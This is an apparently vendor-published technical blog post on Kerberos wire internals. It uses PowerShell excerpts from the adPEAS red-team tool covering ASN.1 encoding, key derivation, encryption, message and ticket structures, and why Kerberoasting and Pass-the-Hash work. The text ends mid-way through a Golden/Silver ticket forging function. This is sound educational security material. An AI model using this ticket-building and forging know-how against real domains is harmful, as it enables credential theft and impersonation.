SEKurity GmbH Logo
adPEAS

adPEAS v2 Episode 7: Kerberos Internals - What Actually Happens on the Wire

Deep dive into the Kerberos protocol internals as implemented by adPEAS v2: ASN.1 encoding, key derivation, encryption algorithms, message structures, and why attacks like Kerberoasting work.

Alexander Sturz

Founder & Red Team Lead

28 min read
Share:

Introduction

In the previous episodes, we used adPEAS to authenticate, enumerate, and even forge tickets. But what actually happens on the wire? What do those Kerberos messages look like at the byte level?

This episode goes deep. We are going to look at:

  • ASN.1 / DER encoding — How every Kerberos message is serialized
  • Key derivation — How passwords become encryption keys
  • Encryption algorithms — RC4-HMAC vs. AES-CTS-HMAC-SHA1
  • Message structures — AS-REQ, AS-REP, TGS-REQ, TGS-REP, KRB-CRED
  • Ticket internals — What is inside a TGT or Service Ticket
  • Why Kerberoasting and ASREPRoasting work — The cryptographic reason

This is not about running tools. This is about understanding the protocol at the level where you can build your own implementation — which is exactly what adPEAS does.

Why does this matter? Because if you understand the bytes, you understand the attacks. Every Kerberos attack exploits a specific property of the protocol. Kerberoasting works because of how Service Tickets are encrypted. ASREPRoasting works because of what happens when pre-authentication is disabled. Golden Tickets work because of what the KDC trusts. Once you see the structures, the attacks become obvious.


Part 1: ASN.1 — The Language of Kerberos

Every single Kerberos message is encoded in ASN.1 DER (Distinguished Encoding Rules). If you have ever looked at a Kerberos packet in Wireshark, you have seen ASN.1. If you have ever parsed a .kirbi file, you have parsed ASN.1.

ASN.1 is a binary encoding format defined in the Kerberos RFC (RFC 4120). It is not optional — it is the encoding. Every byte in a Kerberos message follows ASN.1 rules.

Tag-Length-Value (TLV)

Every ASN.1 element follows the same pattern:

+-----+--------+-------+
| Tag | Length | Value |
+-----+--------+-------+
  • Tag (1 byte): Identifies the data type
  • Length (1 or more bytes): How many bytes the value occupies
  • Value (variable): The actual data

Common Tags

Tag (Hex)TypeDescription
0x02INTEGERNumeric values (pvno, msg-type, etype)
0x03BIT STRINGBit flags (ticket flags, KDC options)
0x04OCTET STRINGRaw bytes (encrypted data, keys)
0x06OBJECT IDENTIFIEROID (used in PKINIT)
0x16IA5StringASCII strings
0x1BGeneralStringText (realm, principal names)
0x18GeneralizedTimeTimestamps (authtime, endtime)
0x30SEQUENCEOrdered collection of elements
0x31SETUnordered collection

Context-Specific Tags

Kerberos uses context-specific tags extensively. These are constructed tags that wrap inner elements:

Context tag [n] = 0xA0 + n

So [0] = 0xA0, [1] = 0xA1, [2] = 0xA2, and so on.

These are used to label fields within a SEQUENCE. For example, in an AS-REQ:

SEQUENCE (0x30)
  [1] (0xA1) -> INTEGER 5        (pvno)
  [2] (0xA2) -> INTEGER 10       (msg-type = AS-REQ)
  [3] (0xA3) -> SEQUENCE         (padata)
  [4] (0xA4) -> SEQUENCE         (req-body)

Length Encoding

ASN.1 DER uses two forms for length:

Short form (value < 128):

Length byte = value directly
Example: 0x05 means 5 bytes

Long form (value >= 128):

First byte: 0x80 + number of length bytes
Following bytes: length in big-endian
Example: 0x82 0x01 0x5A means 346 bytes
         (0x82 = 2 length bytes follow, 0x015A = 346)

A Real AS-REQ Dissected

Here is the structure of an actual AS-REQ as adPEAS builds it:

AS-REQ (Application tag [10])
|
+-- SEQUENCE
    |-- [1] pvno: 5
    |-- [2] msg-type: 10  (AS-REQ)
    |-- [3] padata: SEQUENCE OF PA-DATA
    |   |-- PA-DATA
    |   |   |-- [1] padata-type: 2  (PA-ENC-TIMESTAMP)
    |   |   +-- [2] padata-value: EncryptedData
    |   |       |-- [0] etype: 18  (AES256)
    |   |       +-- [2] cipher: <encrypted timestamp>
    |   +-- PA-DATA
    |       |-- [1] padata-type: 149  (PA-REQ-ENC-PA-REP)
    |       +-- [2] padata-value: (empty)
    +-- [4] req-body: KDC-REQ-BODY
        |-- [0] kdc-options: 0x40810010
        |   (forwardable, renewable, canonicalize, renewable-ok)
        |-- [1] cname: PrincipalName
        |   |-- [0] name-type: 1  (NT-PRINCIPAL)
        |   +-- [1] name-string: ["admin"]
        |-- [2] realm: "CONTOSO.COM"
        |-- [3] sname: PrincipalName
        |   |-- [0] name-type: 2  (NT-SRV-INST)
        |   +-- [1] name-string: ["krbtgt", "CONTOSO.COM"]
        |-- [5] till: 20370913024805Z
        |-- [7] nonce: <random 32-bit>
        +-- [8] etype: [18, 17, 23]  (AES256, AES128, RC4)

adPEAS ASN.1 Builder

adPEAS builds every Kerberos message from scratch using its own ASN.1 builder. Here is how it constructs the basic elements:

# Build an INTEGER
function New-ASN1Integer {
    param([int64]$Value)
    $bytes = [System.BitConverter]::GetBytes($Value)
    # Remove leading zero bytes, keep minimum
    # Prepend 0x00 if high bit set (positive number looks negative)
    $tag = [byte]0x02
    return (New-ASN1Element -Tag $tag -Value $trimmedBytes)
}

# Build a context-specific tag [n]
function New-ASN1ContextTag {
    param([int]$TagNumber, [byte[]]$InnerData)
    $tag = [byte](0xA0 + $TagNumber)
    return (New-ASN1Element -Tag $tag -Value $InnerData)
}

# Build a SEQUENCE
function New-ASN1Sequence {
    param([byte[][]]$Elements)
    $combined = $Elements | ForEach-Object { $_ } | Join-Bytes
    return (New-ASN1Element -Tag 0x30 -Value $combined)
}

The core New-ASN1Element function handles the TLV encoding:

function New-ASN1Element {
    param([byte]$Tag, [byte[]]$Value)

    $length = $Value.Length
    if ($length -lt 128) {
        # Short form
        $header = [byte[]]@($Tag, $length)
    }
    elseif ($length -lt 256) {
        # Long form: 1 byte
        $header = [byte[]]@($Tag, 0x81, $length)
    }
    elseif ($length -lt 65536) {
        # Long form: 2 bytes
        $header = [byte[]]@($Tag, 0x82,
            ($length -shr 8) -band 0xFF,
            $length -band 0xFF)
    }
    else {
        # Long form: 3 bytes
        $header = [byte[]]@($Tag, 0x83,
            ($length -shr 16) -band 0xFF,
            ($length -shr 8) -band 0xFF,
            $length -band 0xFF)
    }

    return ($header + $Value)
}

ASN.1 Parsing

Parsing is the reverse — read the tag, determine the length, extract the value:

function Read-ASN1Element {
    param([byte[]]$Data, [int]$Offset)

    $tag = $Data[$Offset]
    $Offset++

    # Read length
    $lengthByte = $Data[$Offset]
    $Offset++

    if ($lengthByte -lt 128) {
        $length = $lengthByte
    }
    else {
        $numBytes = $lengthByte -band 0x7F
        $length = 0
        for ($i = 0; $i -lt $numBytes; $i++) {
            $length = ($length -shl 8) + $Data[$Offset]
            $Offset++
        }
    }

    $value = $Data[$Offset..($Offset + $length - 1)]

    return @{
        Tag    = $tag
        Length = $length
        Value  = $value
        End    = $Offset + $length
    }
}

Building a Complete AS-REQ

Here is a simplified version of how adPEAS builds an AS-REQ:

function New-ASREQ {
    param(
        [string]$Username,
        [string]$Realm,
        [byte[]]$EncTimestamp,
        [int]$EType
    )

    # PA-ENC-TIMESTAMP
    $paTimestamp = New-ASN1Sequence @(
        (New-ASN1ContextTag 1 (New-ASN1Integer 2)),        # padata-type
        (New-ASN1ContextTag 2 (New-EncryptedData $EncTimestamp $EType))  # padata-value
    )

    # PA-REQ-ENC-PA-REP (request encrypted reply)
    $paEncPaRep = New-ASN1Sequence @(
        (New-ASN1ContextTag 1 (New-ASN1Integer 149)),      # padata-type
        (New-ASN1ContextTag 2 (New-ASN1OctetString @()))   # empty value
    )

    # Client name
    $cname = New-PrincipalName -Type 1 -Names @($Username)

    # Service name (krbtgt/REALM)
    $sname = New-PrincipalName -Type 2 -Names @("krbtgt", $Realm)

    # KDC-REQ-BODY
    $reqBody = New-ASN1Sequence @(
        (New-ASN1ContextTag 0 (New-KDCOptions "forwardable,renewable,canonicalize,renewable-ok")),
        (New-ASN1ContextTag 1 $cname),
        (New-ASN1ContextTag 2 (New-ASN1GeneralString $Realm)),
        (New-ASN1ContextTag 3 $sname),
        (New-ASN1ContextTag 5 (New-ASN1GeneralizedTime "20370913024805Z")),
        (New-ASN1ContextTag 7 (New-ASN1Integer (Get-Random -Maximum ([int32]::MaxValue)))),
        (New-ASN1ContextTag 8 (New-ASN1SequenceOf @(
            (New-ASN1Integer 18),  # AES256
            (New-ASN1Integer 17),  # AES128
            (New-ASN1Integer 23)   # RC4
        )))
    )

    # Wrap in KDC-REQ
    $kdcReq = New-ASN1Sequence @(
        (New-ASN1ContextTag 1 (New-ASN1Integer 5)),         # pvno
        (New-ASN1ContextTag 2 (New-ASN1Integer 10)),        # msg-type (AS-REQ)
        (New-ASN1ContextTag 3 (New-ASN1SequenceOf @($paTimestamp, $paEncPaRep))),
        (New-ASN1ContextTag 4 $reqBody)
    )

    # Wrap in Application tag [10]
    return (New-ASN1ApplicationTag 10 $kdcReq)
}

Part 2: Key Derivation — From Password to Encryption Key

The most critical part of Kerberos security is how passwords become encryption keys. This is where the cryptography lives, and where most attacks target.

RC4-HMAC (EType 23): The Simple (and Weak) Path

RC4-HMAC key derivation is embarrassingly simple:

Password -> UTF-16LE encoding -> MD4 hash -> Key

That is it. The “key” is just the NT hash of the password. This is why Pass-the-Hash works — the NT hash IS the Kerberos key for RC4-HMAC.

function Get-RC4Key {
    param([string]$Password)

    # Convert to UTF-16LE
    $passwordBytes = [System.Text.Encoding]::Unicode.GetBytes($Password)

    # MD4 hash (the NT hash)
    $md4 = New-MD4Hash -Data $passwordBytes

    return $md4  # This is both the NT hash and the RC4-HMAC key
}

Why this is a problem:

  • No salt — the same password always produces the same key
  • No iteration — one MD4 computation, done
  • The key IS the NT hash — stored in the SAM/NTDS, used for NTLM auth too
  • Rainbow tables work perfectly against this

AES256-CTS-HMAC-SHA1-96 (EType 18): The Proper Path

AES key derivation is significantly more complex and secure. It uses PBKDF2 with the Kerberos principal as a salt:

Password + Salt -> PBKDF2-SHA1 (4096 iterations) -> Random-to-Key -> Key

The salt for AES is constructed as:

Salt = uppercase(Realm) + principal
     = "CONTOSO.COM" + "admin"
     = "CONTOSO.COMadmin"

For machine accounts:

Salt = uppercase(Realm) + "host" + lowercase(FQDN)
     = "CONTOSO.COM" + "host" + "dc01.contoso.com"
     = "CONTOSO.COMhostdc01.contoso.com"
function Get-AES256Key {
    param(
        [string]$Password,
        [string]$Salt
    )

    $passwordBytes = [System.Text.Encoding]::UTF8.GetBytes($Password)
    $saltBytes = [System.Text.Encoding]::UTF8.GetBytes($Salt)

    # PBKDF2-SHA1 with 4096 iterations, 32 bytes output
    $pbkdf2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes(
        $passwordBytes, $saltBytes, 4096
    )
    $rawKey = $pbkdf2.GetBytes(32)

    # Random-to-Key for AES256: DK(key, n-fold("kerberos"))
    $key = Get-DK -BaseKey $rawKey -Usage "kerberos"

    return $key
}

The n-fold Algorithm

Kerberos uses a function called n-fold to derive fixed-length values from variable-length inputs. It is defined in RFC 3961 and is used in AES key derivation.

The idea: take an input of any length and “fold” it into exactly n bits, preserving all entropy.

function Get-NFold {
    param(
        [byte[]]$Input,
        [int]$OutputBits
    )

    $inputBits = $Input.Length * 8
    $outputBytes = $OutputBits / 8
    $lcm = Get-LCM $inputBits $outputBits

    # Rotate and add with carry
    $result = New-Object byte[] $outputBytes
    $carry = 0

    for ($i = ($lcm / $inputBits) - 1; $i -ge 0; $i--) {
        $rotated = Get-RotateRight $Input ($i * 13 % $inputBits)

        # Add into result with carry
        for ($j = $outputBytes - 1; $j -ge 0; $j--) {
            $sum = $result[$j] + $rotated[$j % $rotated.Length] + $carry
            $result[$j] = $sum -band 0xFF
            $carry = $sum -shr 8
        }
    }

    # Propagate final carry
    while ($carry -ne 0) {
        for ($j = $outputBytes - 1; $j -ge 0; $j--) {
            $sum = $result[$j] + $carry
            $result[$j] = $sum -band 0xFF
            $carry = $sum -shr 8
        }
    }

    return $result
}

Key Derivation Functions: Ke, Ki, Kc

From the base key, Kerberos derives purpose-specific keys:

Base Key (from PBKDF2)
|
|-- DK(base, n-fold("kerberos")) -> Protocol Key
    |
    |-- Ke = DK(key, usage + 0xAA) -> Encryption sub-key
    |-- Ki = DK(key, usage + 0x55) -> Integrity sub-key
    |-- Kc = DK(key, usage + 0x99) -> Checksum sub-key

Each “usage” is a 32-bit number that ensures different contexts produce different keys, even from the same base key:

UsageContext
1PA-ENC-TIMESTAMP (AS-REQ pre-auth)
3AS-REP encrypted part
7TGS-REQ authenticator (AP-REQ in TGS)
8TGS-REP encrypted part
11AP-REQ authenticator
12AP-REP encrypted part
function Get-DK {
    param(
        [byte[]]$BaseKey,
        [string]$Usage
    )

    $usageBytes = [System.Text.Encoding]::ASCII.GetBytes($Usage)
    $folded = Get-NFold -Input $usageBytes -OutputBits ($BaseKey.Length * 8)

    # Encrypt the n-folded usage with the base key in CBC mode
    # Then take the first KeyLength bytes
    $result = New-Object byte[] $BaseKey.Length
    $block = $folded

    $aes = [System.Security.Cryptography.Aes]::Create()
    $aes.Mode = [System.Security.Cryptography.CipherMode]::ECB
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::None
    $aes.Key = $BaseKey
    $encryptor = $aes.CreateEncryptor()

    $offset = 0
    while ($offset -lt $result.Length) {
        $block = $encryptor.TransformFinalBlock($block, 0, $block.Length)
        [Array]::Copy($block, 0, $result, $offset, [Math]::Min($block.Length, $result.Length - $offset))
        $offset += $block.Length
    }

    return $result
}

The adPEAS Get-Hash Function

adPEAS wraps all of this in a single Get-Hash function that returns the appropriate key based on the encryption type:

function Get-Hash {
    param(
        [string]$Password,
        [string]$Salt,
        [int]$EType
    )

    switch ($EType) {
        23 {
            # RC4-HMAC: just MD4(UTF-16LE(password))
            $passwordBytes = [System.Text.Encoding]::Unicode.GetBytes($Password)
            return (New-MD4Hash -Data $passwordBytes)
        }
        17 {
            # AES128: PBKDF2-SHA1(password, salt, 4096, 16)
            $key = Get-PBKDF2Key -Password $Password -Salt $Salt -Iterations 4096 -KeyLength 16
            return (Get-DK -BaseKey $key -Usage "kerberos")
        }
        18 {
            # AES256: PBKDF2-SHA1(password, salt, 4096, 32)
            $key = Get-PBKDF2Key -Password $Password -Salt $Salt -Iterations 4096 -KeyLength 32
            return (Get-DK -BaseKey $key -Usage "kerberos")
        }
    }
}

Part 3: Encryption — Protecting Kerberos Messages

With keys derived, the next question is: how are Kerberos messages actually encrypted?

RC4-HMAC Encryption (EType 23)

RC4-HMAC encryption in Kerberos works as follows:

Encrypt(Key, Usage, Plaintext):
  1. K1 = HMAC-MD5(Key, Usage)                  # Usage-specific sub-key
  2. Confounder = 8 random bytes                # Prevents identical plaintext -> identical ciphertext
  3. K3 = HMAC-MD5(K1, Confounder + Plaintext)  # Checksum
  4. K2 = HMAC-MD5(K1, K3)                      # Encryption sub-key
  5. Ciphertext = RC4(K2, Confounder + Plaintext)
  6. Output = K3 + Ciphertext                   # 16-byte checksum + encrypted data
function Encrypt-RC4HMAC {
    param(
        [byte[]]$Key,
        [int]$Usage,
        [byte[]]$Plaintext
    )

    # Step 1: Usage-specific key
    $usageBytes = [System.BitConverter]::GetBytes($Usage)
    $k1 = Get-HMACMD5 -Key $Key -Data $usageBytes

    # Step 2: Random confounder
    $confounder = New-RandomBytes -Count 8

    # Step 3: Checksum
    $checksumInput = $confounder + $Plaintext
    $checksum = Get-HMACMD5 -Key $k1 -Data $checksumInput

    # Step 4: Encryption sub-key
    $k2 = Get-HMACMD5 -Key $k1 -Data $checksum

    # Step 5: Encrypt
    $ciphertext = Invoke-RC4 -Key $k2 -Data $checksumInput

    # Step 6: Combine
    return $checksum + $ciphertext
}

Why RC4-HMAC is weak:

  • RC4 itself has known biases (Fluhrer-Mantin-Shamir attack)
  • The key is just an NT hash — no salt, no iterations
  • Single HMAC-MD5 for key derivation — fast to brute-force
  • Microsoft has deprecated RC4 for Kerberos (but it still works almost everywhere)

AES-CTS-HMAC-SHA1-96 Encryption (EType 17/18)

AES encryption in Kerberos uses CTS (Ciphertext Stealing) mode, which handles arbitrary-length plaintext without padding:

Encrypt(Key, Usage, Plaintext):
  1. Ke = DK(Key, Usage + 0xAA)        # Encryption sub-key
  2. Ki = DK(Key, Usage + 0x55)        # Integrity sub-key
  3. Confounder = 16 random bytes      # One AES block
  4. Ciphertext = AES-CTS-Encrypt(Ke, Confounder + Plaintext)
  5. Checksum = HMAC-SHA1(Ki, Confounder + Plaintext)[0..11]  # Truncated to 96 bits
  6. Output = Ciphertext + Checksum
function Encrypt-AESCTS {
    param(
        [byte[]]$Key,
        [int]$Usage,
        [byte[]]$Plaintext
    )

    # Derive sub-keys
    $usageKe = [System.BitConverter]::GetBytes($Usage) + [byte]0xAA
    $usageKi = [System.BitConverter]::GetBytes($Usage) + [byte]0x55

    $ke = Get-DK -BaseKey $Key -UsageBytes $usageKe
    $ki = Get-DK -BaseKey $Key -UsageBytes $usageKi

    # Confounder
    $confounder = New-RandomBytes -Count 16

    # Plaintext with confounder
    $dataToEncrypt = $confounder + $Plaintext

    # AES-CBC encrypt, then apply CTS transformation
    $ciphertext = Invoke-AESCTS -Key $ke -Data $dataToEncrypt

    # HMAC-SHA1, truncated to 12 bytes (96 bits)
    $checksum = (Get-HMACSHA1 -Key $ki -Data $dataToEncrypt)[0..11]

    return $ciphertext + $checksum
}

Ciphertext Stealing (CTS) Mode

Standard CBC mode requires plaintext to be a multiple of the block size. CTS avoids this by “stealing” bytes from the second-to-last ciphertext block:

Standard CBC (requires padding):
  P1 -> E -> C1
  P2 -> E -> C2
  P3 (padded) -> E -> C3

CTS (no padding needed):
  P1 -> E -> C1
  P2 -> E -> C2'
  P3 (partial) -> E -> C3'
  Output: C1 + C3'(truncated) + C2'
  (last two blocks are swapped, last block may be short)
function Invoke-AESCTS {
    param(
        [byte[]]$Key,
        [byte[]]$Data
    )

    $blockSize = 16

    if ($Data.Length -le $blockSize) {
        # Single block: just AES-CBC
        return (Invoke-AESCBC -Key $Key -Data (Pad-ToBlockSize $Data $blockSize))
    }

    # Encrypt all but the last partial block with standard CBC
    $fullBlocks = [Math]::Floor($Data.Length / $blockSize) * $blockSize
    if ($Data.Length % $blockSize -eq 0) {
        $fullBlocks -= $blockSize  # Need at least one block for CTS
    }

    $cbcResult = Invoke-AESCBC -Key $Key -Data $Data[0..($fullBlocks - 1)]

    # Handle the last two blocks with CTS
    $remaining = $Data[$fullBlocks..($Data.Length - 1)]
    $lastFullCipher = $cbcResult[($cbcResult.Length - $blockSize)..($cbcResult.Length - 1)]

    # Pad remaining with zeros, XOR with last cipher block, encrypt
    $padded = New-Object byte[] $blockSize
    [Array]::Copy($remaining, $padded, $remaining.Length)
    $xored = Get-XOR $padded $lastFullCipher
    $finalBlock = Invoke-AESECBEncrypt -Key $Key -Data $xored

    # CTS swap: truncated second-to-last + full last
    $result = $cbcResult[0..($cbcResult.Length - $blockSize - 1)]
    $result += $finalBlock
    $result += $lastFullCipher[0..($remaining.Length - 1)]

    return $result
}

How adPEAS Handles cryptdll.dll

For environments where .NET crypto classes are restricted, adPEAS can fall back to Windows’ native cryptdll.dll:

# P/Invoke definition for CDLocateCSystem
$cryptdll = @"
[DllImport("cryptdll.dll", CharSet = CharSet.Auto)]
public static extern int CDLocateCSystem(int etype, out IntPtr pCheckSum);
"@

# The KERB_ECRYPT structure
# +--------+--------+--------+--------+--------+
# | EType  | BlockSz| ExportSz| KeySz | ChkSz  |
# +--------+--------+--------+--------+--------+
# | Initialize | Encrypt | Decrypt | Finish    |
# +--------+--------+--------+--------+--------+

# Usage: Let Windows handle the crypto
function Invoke-CryptDllEncrypt {
    param(
        [byte[]]$Key,
        [int]$Usage,
        [byte[]]$Plaintext,
        [int]$EType
    )

    # Locate the crypto system for this etype
    $pCSystem = [IntPtr]::Zero
    $result = [CryptDll]::CDLocateCSystem($EType, [ref]$pCSystem)

    if ($result -ne 0) {
        throw "CDLocateCSystem failed for etype $EType"
    }

    # Marshal the function pointers
    $cSystem = [System.Runtime.InteropServices.Marshal]::PtrToStructure(
        $pCSystem, [Type][KERB_ECRYPT])

    # Initialize -> Encrypt -> Finish
    $context = [IntPtr]::Zero
    $cSystem.Initialize($Key, $Key.Length, $Usage, [ref]$context)

    $output = New-Object byte[] ($Plaintext.Length + $cSystem.HeaderSize)
    $cSystem.Encrypt($context, $Plaintext, $Plaintext.Length, $output, [ref]$output.Length)

    $cSystem.Finish([ref]$context)

    return $output
}

Part 4: Kerberos Message Types

Now that we understand ASN.1 encoding and encryption, let us look at the actual Kerberos messages.

AS-REQ / AS-REP (Authentication Service)

The AS exchange is the initial authentication:

+----------+                                +---------+
|  Client  |                                |   KDC   |
+----+-----+                                +----+----+
     |                                           |
     |  AS-REQ                                   |
     |  +-- pvno: 5                              |
     |  +-- msg-type: 10                         |
     |  +-- padata:                              |
     |  |   +-- PA-ENC-TIMESTAMP                 |
     |  |       (encrypted with client key)      |
     |  +-- req-body:                            |
     |      +-- cname: "admin"                   |
     |      +-- realm: "CONTOSO.COM"             |
     |      +-- sname: "krbtgt/CONTOSO.COM"      |
     |      +-- etype: [18, 17, 23]              |
     |------------------------------------------>|
     |                                           |
     |                     Authentication check: |
     |                     1. Find "admin" in AD |
     |                     2. Get admin's key    |
     |                     3. Decrypt PA-ENC-TS  |
     |                     4. Check timestamp    |
     |                                           |
     |                                AS-REP     |
     |  +-- pvno: 5                              |
     |  +-- msg-type: 11                         |
     |  +-- crealm: "CONTOSO.COM"                |
     |  +-- cname: "admin"                       |
     |  +-- ticket: (encrypted with krbtgt key)  |
     |  |   This is the TGT                      |
     |  +-- enc-part: (encrypted with client     |
     |      key - contains session key, times)   |
     |<------------------------------------------|
     |                                           |

The AS-REP contains two encrypted blobs:

  1. The Ticket (TGT) — Encrypted with the krbtgt key. The client cannot read this.
  2. The enc-part — Encrypted with the client’s key. Contains the session key.
function Parse-ASREP {
    param([byte[]]$Data)

    $asn1 = Read-ASN1Element -Data $Data -Offset 0
    $inner = Read-ASN1Sequence -Data $asn1.Value

    $result = @{}
    foreach ($element in $inner) {
        switch ($element.ContextTag) {
            0 { $result.pvno = Read-ASN1Integer $element.Value }
            1 { $result.MsgType = Read-ASN1Integer $element.Value }
            2 { $result.crealm = Read-ASN1String $element.Value }
            3 { $result.cname = Parse-PrincipalName $element.Value }
            5 { $result.Ticket = Parse-Ticket $element.Value }
            6 { $result.EncPart = Parse-EncryptedData $element.Value }
        }
    }

    return $result
}

TGS-REQ / TGS-REP (Ticket Granting Service)

The TGS exchange uses the TGT to request a Service Ticket:

+----------+                                 +---------+
|  Client  |                                 |   KDC   |
+----+-----+                                 +----+----+
     |                                            |
     |  TGS-REQ                                   |
     |  +-- pvno: 5                               |
     |  +-- msg-type: 12                          |
     |  +-- padata:                               |
     |  |   +-- PA-TGS-REQ (AP-REQ):              |
     |  |       +-- ticket: TGT                   |
     |  |       +-- authenticator:                |
     |  |           (encrypted with TGT           |
     |  |            session key)                 |
     |  +-- req-body:                             |
     |      +-- sname: "LDAP/dc01.contoso.com"    |
     |      +-- realm: "CONTOSO.COM"              |
     |      +-- etype: [18, 17, 23]               |
     |------------------------------------------->|
     |                                            |
     |                     Service Ticket         |
     |                     generation:            |
     |                     1. Decrypt TGT         |
     |                        (krbtgt key)        |
     |                     2. Verify authenticator|
     |                     3. Look up service     |
     |                        account key         |
     |                     4. Build Service Ticket|
     |                        encrypted with      |
     |                        service key         |
     |                                            |
     |                               TGS-REP      |
     |  +-- pvno: 5                               |
     |  +-- msg-type: 13                          |
     |  +-- ticket: (encrypted with service       |
     |  |   account key)                          |
     |  +-- enc-part: (encrypted with TGT         |
     |      session key)                          |
     |<-------------------------------------------|
     |                                            |

Key insight for Kerberoasting: The Service Ticket is encrypted with the service account’s key. If you can obtain a Service Ticket, you can try to brute-force the service account’s password offline.

KRB-CRED (Credential Message)

KRB-CRED is the message type used to transfer tickets between applications. This is what .kirbi files contain:

KRB-CRED (Application tag [22])
|
+-- SEQUENCE
    |-- [0] pvno: 5
    |-- [1] msg-type: 22
    |-- [2] tickets: SEQUENCE OF Ticket
    |   +-- Ticket (the actual TGT or Service Ticket)
    +-- [3] enc-part: EncryptedData
        +-- EncKrbCredPart
            +-- [0] ticket-info: SEQUENCE OF KrbCredInfo
                +-- KrbCredInfo
                    |-- [0] key: EncryptionKey (session key)
                    |-- [1] prealm: "CONTOSO.COM"
                    |-- [2] pname: "admin"
                    |-- [3] flags: TicketFlags
                    |-- [4] authtime: timestamp
                    |-- [5] starttime: timestamp
                    |-- [6] endtime: timestamp
                    +-- [7] renew-till: timestamp

For .kirbi files, the enc-part is often “encrypted” with a null key (etype 0) — meaning it is essentially plaintext. This is why .kirbi files are so valuable to attackers.

function New-KRBCred {
    param(
        [byte[]]$Ticket,
        [byte[]]$SessionKey,
        [int]$SessionKeyEType,
        [string]$Realm,
        [string]$UserName,
        [uint32]$TicketFlags,
        [DateTime]$AuthTime,
        [DateTime]$StartTime,
        [DateTime]$EndTime,
        [DateTime]$RenewTill
    )

    # KrbCredInfo
    $krbCredInfo = New-ASN1Sequence @(
        (New-ASN1ContextTag 0 (New-EncryptionKey $SessionKey $SessionKeyEType)),
        (New-ASN1ContextTag 1 (New-ASN1GeneralString $Realm)),
        (New-ASN1ContextTag 2 (New-PrincipalName -Type 1 -Names @($UserName))),
        (New-ASN1ContextTag 3 (New-ASN1BitString (ConvertTo-Bytes $TicketFlags))),
        (New-ASN1ContextTag 4 (New-ASN1GeneralizedTime $AuthTime)),
        (New-ASN1ContextTag 5 (New-ASN1GeneralizedTime $StartTime)),
        (New-ASN1ContextTag 6 (New-ASN1GeneralizedTime $EndTime)),
        (New-ASN1ContextTag 7 (New-ASN1GeneralizedTime $RenewTill))
    )

    # EncKrbCredPart
    $encKrbCredPart = New-ASN1Sequence @(
        (New-ASN1ContextTag 0 (New-ASN1SequenceOf @($krbCredInfo)))
    )

    # Wrap in Application tag [29] for EncKrbCredPart
    $encPart = New-ASN1ApplicationTag 29 $encKrbCredPart

    # "Encrypt" with null key (etype 0, kvno 0)
    $encryptedPart = New-EncryptedData -EType 0 -Data $encPart

    # KRB-CRED
    $krbCred = New-ASN1Sequence @(
        (New-ASN1ContextTag 0 (New-ASN1Integer 5)),       # pvno
        (New-ASN1ContextTag 1 (New-ASN1Integer 22)),      # msg-type
        (New-ASN1ContextTag 2 (New-ASN1SequenceOf @($Ticket))),
        (New-ASN1ContextTag 3 $encryptedPart)
    )

    # Wrap in Application tag [22]
    return (New-ASN1ApplicationTag 22 $krbCred)
}

Part 5: Ticket Structure — What is Inside a Ticket?

The Ticket Envelope

A Kerberos Ticket has this structure:

Ticket (Application tag [1])
|
+-- SEQUENCE
    |-- [0] tkt-vno: 5
    |-- [1] realm: "CONTOSO.COM"
    |-- [2] sname: PrincipalName
    |   |-- [0] name-type: 2  (NT-SRV-INST)
    |   +-- [1] name-string: ["krbtgt", "CONTOSO.COM"]  (for TGT)
    |                    or: ["LDAP", "dc01.contoso.com"]  (for Service Ticket)
    +-- [3] enc-part: EncryptedData
        |-- [0] etype: 18  (AES256)
        |-- [1] kvno: 2    (key version number)
        +-- [2] cipher: <encrypted EncTicketPart>

The enc-part is encrypted with:

  • krbtgt key for TGTs
  • Service account key for Service Tickets

Only the KDC can decrypt TGTs. Only the service account can decrypt Service Tickets. The client never sees the contents.

EncTicketPart — The Heart of the Ticket

Once decrypted, the EncTicketPart reveals everything the KDC knows about the authenticated user:

EncTicketPart (Application tag [3])
|
+-- SEQUENCE
    |-- [0] flags: TicketFlags (bit field)
    |-- [1] key: EncryptionKey (session key)
    |   |-- [0] keytype: 18  (AES256)
    |   +-- [1] keyvalue: <32 bytes>
    |-- [2] crealm: "CONTOSO.COM"
    |-- [3] cname: PrincipalName
    |   |-- [0] name-type: 1  (NT-PRINCIPAL)
    |   +-- [1] name-string: ["admin"]
    |-- [4] transited: TransitedEncoding
    |-- [5] authtime: 20260513120000Z
    |-- [6] starttime: 20260513120000Z
    |-- [7] endtime: 20260513220000Z
    |-- [8] renew-till: 20260520120000Z
    +-- [9] authorization-data: AuthorizationData
        +-- AD-IF-RELEVANT
            +-- AD-WIN2K-PAC
                (the PAC -- Privilege Attribute Certificate)

Ticket Flags

The flags field is a 32-bit value where each bit has a specific meaning:

BitFlagDescription
0reserved(unused)
1forwardableTicket can be forwarded to another host
2forwardedTicket has been forwarded
3proxiableTicket can be proxied
4proxyTicket is a proxy
5may-postdateTicket can be postdated
6postdatedTicket is postdated
7invalidTicket is invalid (needs validation)
8renewableTicket can be renewed
9initialTicket was issued via AS exchange (not TGS)
10pre-authentPre-authentication was performed
11hw-authentHardware authentication was used
12transited-policy-checkedTransited policy checked by KDC
13ok-as-delegateService is trusted for delegation

Common flag combinations:

TGT (normal):        0x40E10000  (forwardable, renewable, initial, pre-authent)
Service Ticket:      0x40A50000  (forwardable, renewable, pre-authent)
Golden Ticket:       0x40E10000  (mimics a normal TGT)
function New-TicketFlags {
    param([string[]]$Flags)

    $flagMap = @{
        'forwardable'              = 0x40000000
        'forwarded'                = 0x20000000
        'proxiable'                = 0x10000000
        'proxy'                    = 0x08000000
        'may-postdate'             = 0x04000000
        'postdated'                = 0x02000000
        'invalid'                  = 0x01000000
        'renewable'                = 0x00800000
        'initial'                  = 0x00400000
        'pre-authent'              = 0x00200000
        'hw-authent'               = 0x00100000
        'transited-policy-checked' = 0x00080000
        'ok-as-delegate'           = 0x00040000
    }

    $value = [uint32]0
    foreach ($flag in $Flags) {
        $value = $value -bor $flagMap[$flag]
    }

    return [System.BitConverter]::GetBytes($value)
}

Building a Ticket (for Golden/Silver Ticket Forging)

When adPEAS forges a Golden Ticket, it builds the entire ticket from scratch:

function New-ForgedTicket {
    param(
        [string]$Username,
        [int]$UserId,
        [string]$Domain,
        [string]$DomainSID,
        [byte[]]$ServiceKey,     # krbtgt key for Golden, service key for Silver
        [int]$ServiceKeyEType,
        [string]$ServiceName,
        [DateTime]$AuthTime,
        [DateTime]$EndTime
    )

    # Generate a random session key
    $sessionKey = New-RandomBytes -Count 32
